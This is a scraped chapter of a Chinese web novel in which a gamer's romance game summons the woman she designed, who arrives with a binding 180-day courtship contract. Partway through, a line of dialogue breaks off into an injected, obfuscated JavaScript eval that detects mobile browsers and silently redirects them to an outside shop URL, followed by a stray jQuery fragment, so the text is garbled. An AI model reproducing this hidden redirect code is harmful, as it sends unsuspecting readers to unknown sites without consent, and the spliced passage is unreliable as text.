林小凡盯着电脑屏幕，手指在键盘上飞速敲击。
"快选啊！选'推开他'！这种渣男留着过年吗？！"
屏幕里，橙光游戏的选项正在倒计时。她选的这个古风百合游戏《凤求凰》正进行到关键剧情——女主要不要接受那个虚伪皇子的示好。
"5、4、3——"
"选拒绝！快选！"林小凡激动得腿一蹬，手肘撞到桌上的泡面桶。
那桶刚泡好的红烧牛肉面以一个优雅的抛物线划过空中，汤汁精准地泼洒在键盘上。
"卧槽——"
她手忙脚乱地抽纸巾，然而为时已晚。键盘发出垂死的"滋滋"声，屏幕闪烁几下，突然变成一片漆黑。
"不是吧？我刚玩到结局前啊！"林小凡哀嚎。
就在这时，漆黑屏幕中央缓缓浮现出一行像素字：
【检测到宿主情绪波动值突破阈值，是否解锁隐藏剧情？】
林小凡擦键盘的动作顿住了。
"隐藏剧情？"她眯起眼睛。玩了三年橙光，她太熟悉这种套路了。通常所谓的"隐藏剧情"不过是多几个对话选项，或者解锁几张CG图。
她随手在键盘上敲了个"Y"。
屏幕上立刻跳出新的界面：
【欢迎进入『真实攻略』测试版。请选择您要攻略的角色性别。】
选项：男/女/其他
林小凡挑了挑眉。"真实攻略"？名字还挺唬人。她选了"女"。
【请拟定攻略对象姓名：】
她想了想，输入"苏清晏"。随手起的，听起来像个清冷美人。
【请拟定外貌特征：】
系统列出了五官、发型、身材、气质等选项。林小凡玩这类游戏向来随心所欲——头发选最长最黑的，眼睛选最冷的丹凤眼，鼻子要高挺，嘴唇要薄而红润，皮肤要白得像雪。气质？"冰山美人"是必选项。
【请设定性格关键词（限选三项）：】
林小凡毫不犹豫选了"冷静自持"、"口是心非"、"外冷内热"。
她最爱攻略这种类型了。表面上看不动如山，实际上内心戏多得能写八十集连续剧。推倒冰山的过程中那种若即若离的拉扯感，是她玩攻略游戏的终极乐趣。
【确认设定？是/否】
林小凡点了"是"。
屏幕跳出一行金色大字：
【攻略目标已生成。攻略难度：★★★★★（顶级）。祝您好运。】
紧接着，门铃响了。
"叮咚——"
林小凡吓了一跳。她住的是老小区单间，平时除了外卖几乎没人按门铃。她看了眼时间——晚上十一点十七分。
"谁啊？"
没人回答，门铃又响了一声。
她趿拉着拖鞋走到门口，从猫眼往外看——走廊灯坏了，外面黑漆漆的，隐约能看到一个高挑的人影。
林小凡犹豫了几秒，还是开了门。
然后她就愣住了。
门口站着一个女生。
黑长直发垂到腰际，丹凤眼微微上挑，鼻梁高挺，嘴唇薄而红润，皮肤在昏暗光线下白得近乎透明。她穿着简单的白衬衫和黑色长裤，整个人像从水墨画里走出来的一样。
林小凡脑子"嗡"地一声。
这不就是她刚才捏的那个人吗？发型、五官、气质，甚至眼神里那种淡淡的疏离感，完全一致。
"你、你——"林小凡结巴了。
女生面无表情地看着她，从口袋里掏出一张折叠整齐的纸递过来。
"林小凡？"
声音清冷，像山涧溪水。
"我是。"林小凡下意识接过纸，"你怎么知道我名字？"
女生没回答，又从另一个口袋摸出一份合同，A4纸大小，密密麻麻印满了字。"这个也给你。"
林小凡低头看那张纸——
【说明书（简版）】
1.您已激活『真实攻略』游戏，攻略目标已送达。
2.请在180天内使目标对您的好感度达到100%。
3.若攻略失败，您将失去现实生活权利，永久成为游戏世界NPC角色。
4.攻略期间，目标拥有独立意志，记忆与情感均为真实。
5.禁止向目标透露游戏规则。违反者直接判定失败。
6.更多细则请参阅完整版合同。
林小凡："……"
她猛地抬头："这是什么整蛊节目？隐藏摄像头在哪？"
女生——苏清晏微微歪头，露出一个困惑的表情。"整蛊？"
"就是那种，突然有个人跑出来说'你被耍了'之类的！"林小凡四处张望，"别藏了，我看到你了！"
走廊静悄悄的，只有声控灯因为她的大喊亮了一下，又灭了。
苏清晏安静地看着她发疯，等林小凡终于停下来喘气时，才平静地开口："我没有在整你。我确实是被你创造出来的。"
"……哈？"
"你刚刚在游戏里设定了我的外貌和性格，确认之后，我就出现在了这里。"苏清晏顿了顿，"准确来说，是你把我从那个世界召唤到了现实。"
林小凡盯着她看了三秒，然后默默地关上了门。
她靠在门板上深呼吸——做梦，一定是做梦。泡面打翻的时候可能伤到了脑子，或者她其实已经睡着了，正在做那种"梦到自己在玩游戏"的梦中梦。
门又被敲响了，不紧不慢的三下。
"林小凡。"门外的声音很平，"合同第三页第五条写着，宿主不得以'我在做梦''这是整蛊''这不科学'等理由拒绝接收攻略目标。拒绝接收超过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17931881|213634||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
三次，视为自动放弃。"
林小凡："……"
她做了这辈子最艰难的心理建设，再次拉开门。
苏清晏还站在那里，连姿势都没变过。她把合同往前递了递："完整版，建议你仔细阅读。尤其是违约条款部分。"
林小凡机械地接过那沓纸，随手翻了翻。
"违约金：永久成为NPC角色，记忆封存，人格格式化。"
"若目标好感度归零，宿主即刻出局。"
"宿主不得使用任何超自然手段干预目标情感。"
"……"
她越看越觉得后脊发凉。
"等等，"她突然想到什么，"如果我成功了会怎样？"
苏清晏看着她的眼睛："你会获得……"
"获得什么？"
"我不知道。"苏清晏说，"合同里没写。"
林小凡："？？？"
"我只知道我的任务是被你攻略。"苏清晏平静地陈述，"而你的任务是在180天内让我爱上你。"
她说"爱上你"三个字的时候语气平淡得像在说"今天天气不错"，仿佛这件事跟她本人毫无关系。
林小凡在这一刻，终于后知后觉地意识到——
她好像真的把自己坑了。
而且坑得很大。
"那个，我能反悔吗？"她弱弱地问。
苏清晏摇头："已经生效了。"
"……那你现在住哪？"
"合同第十页第七款：攻略期间，目标与宿主应同居以便于情感培养。"
林小凡眼前一黑。
"我家只有一张床。"
"我可以睡沙发。"
"我每周只倒一次垃圾。"
"我可以帮你倒。"
"我做饭很难吃。"
"我会。"
"我——"
"林小凡。"苏清晏打断她，语气依然平静，但眼神里似乎闪过一丝极淡的笑意，"你在找借口赶我走。"
被看穿了。
林小凡泄气地垮下肩膀。她确实在找借口。这个莫名其妙出现在门口的"攻略目标"，这个她亲手捏造出来的纸片人，就这么活生生地站在她面前，用一双漂亮的丹凤眼看着她，等着她做出选择。
她低头看了眼手里那份厚得能当凶器的合同。
又抬头看了眼苏清晏。
"……进来吧。"她侧开身，"先说好，我家很乱。"
苏清晏迈步跨过门槛，经过林小凡身边时，带起一阵很淡的冷香。
林小凡关上门，看着那道高挑的背影走进自己逼仄的小客厅，恍惚间觉得像在做梦。
——但桌上那桶泼洒的泡面，和正在滴滴答漏水的键盘，都在残酷地提醒她：是真的。
全都是真的。